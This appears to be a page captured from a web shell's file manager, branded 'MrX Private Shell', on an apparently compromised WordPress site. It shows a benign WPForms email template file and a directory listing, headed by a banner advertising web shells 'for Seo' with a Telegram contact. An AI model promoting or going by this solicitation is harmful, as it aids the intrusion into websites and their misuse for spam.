__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
<?php
/**
* Compact media queries style template.
*
* This template can be overridden by copying it to yourtheme/wpforms/emails/compact-queries.php.
*
* Note: To override the existing styles of the template in this file, ensure that all
* overriding styles are declared as !important to take precedence over the default styles.
*
* @since 1.8.5
* @since 1.8.6 Added dark mode variables.
*
* @var string $email_background_color_dark Background color for the email.
* @var string $email_body_color_dark Background color for the email content body.
* @var string $email_text_color_dark Text color for the email content.
* @var string $email_links_color_dark Color for links in the email content.
* @var string $email_typography_dark Preferred typography font-family for email content.
* @var string $header_image_max_width_dark Maximum width for the header image.
* @var string $header_image_max_height_dark Maximum height for the header image.
*/
if ( ! defined( 'ABSPATH' ) ) {
exit;
}
$min = wpforms_get_min_suffix();
require WPFORMS_PLUGIN_DIR . "assets/css/emails/partials/compact_media_queries{$min}.css";
// Reuse border-color.
$border_color_dark = wpforms_generate_contrasting_color( $email_text_color_dark, 86, 72 );
?>
@media (prefers-color-scheme: dark) {
body, .body {
background-color: <?php echo sanitize_hex_color( $email_background_color_dark ); ?> !important;
}
.wrapper-inner {
background-color: <?php echo sanitize_hex_color( $email_body_color_dark ); ?> !important;
border: 1px solid <?php echo sanitize_hex_color( wpforms_generate_contrasting_color( $email_text_color_dark, 72, 63 ) ); ?> !important;
}
body, table.body, h1, h2, h3, h4, h5, h6, p, td, th, a {
color: <?php echo sanitize_hex_color( $email_text_color_dark ); ?> !important;
font-family: <?php echo esc_attr( $email_typography_dark ); ?> !important;
}
a, a:visited,
a:hover, a:active,
h1 a, h1 a:visited,
h2 a, h2 a:visited,
h3 a, h3 a:visited,
h4 a, h4 a:visited,
h5 a, h5 a:visited,
h6 a, h6 a:visited {
color: <?php echo sanitize_hex_color( $email_links_color_dark ); ?> !important;
}
a.button-link {
background-color: <?php echo sanitize_hex_color( $email_body_color_dark ); ?> !important;
border: 1px solid <?php echo sanitize_hex_color( $email_links_color_dark ); ?> !important;
color: <?php echo sanitize_hex_color( $email_links_color_dark ); ?> !important;
}
.content td {
border-color: <?php echo sanitize_hex_color( $border_color_dark ); ?> !important;
}
.footer, .footer a {
color: <?php echo sanitize_hex_color( wpforms_generate_contrasting_color( $email_text_color_dark, 50, 45 ) ); ?> !important;
}
table.wpforms-order-summary-preview {
border: 1px solid <?php echo sanitize_hex_color( $border_color_dark ); ?> !important;
}
table.wpforms-order-summary-preview td {
border-top: 1px solid <?php echo sanitize_hex_color( $border_color_dark ); ?> !important;
}
<?php if ( ! empty( $header_image_max_width_dark ) && ! empty( $header_image_max_height_dark ) ) : ?>
.dark-mode .header-image {
max-width: <?php echo esc_attr( $header_image_max_width_dark ); ?>px !important;
}
.dark-mode .header-image img {
max-height: <?php echo esc_attr( $header_image_max_height_dark ); ?>px !important;
}
<?php endif; ?>
}
| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| classic-body.php | File | 400 B | 0775 |
|
| classic-field.php | File | 316 B | 0775 |
|
| classic-footer.php | File | 1.18 KB | 0775 |
|
| classic-header.php | File | 2.57 KB | 0775 |
|
| classic-queries.php | File | 3.29 KB | 0775 |
|
| classic-style.php | File | 2.58 KB | 0775 |
|
| compact-body.php | File | 400 B | 0775 |
|
| compact-field.php | File | 321 B | 0775 |
|
| compact-footer.php | File | 1.21 KB | 0775 |
|
| compact-header.php | File | 2.61 KB | 0775 |
|
| compact-queries.php | File | 3.25 KB | 0775 |
|
| compact-style.php | File | 2.57 KB | 0775 |
|
| general-body-plain.php | File | 348 B | 0775 |
|
| general-body.php | File | 361 B | 0775 |
|
| general-footer.php | File | 632 B | 0775 |
|
| general-header.php | File | 1.22 KB | 0775 |
|
| general-queries.php | File | 357 B | 0775 |
|
| general-style.php | File | 579 B | 0775 |
|
| summary-body-plain.php | File | 3.79 KB | 0775 |
|
| summary-body.php | File | 14.33 KB | 0775 |
|
| summary-footer-plain.php | File | 849 B | 0775 |
|
| summary-footer.php | File | 1.39 KB | 0775 |
|
| summary-header.php | File | 2.36 KB | 0775 |
|
| summary-queries.php | File | 525 B | 0775 |
|
| summary-style.php | File | 586 B | 0775 |
|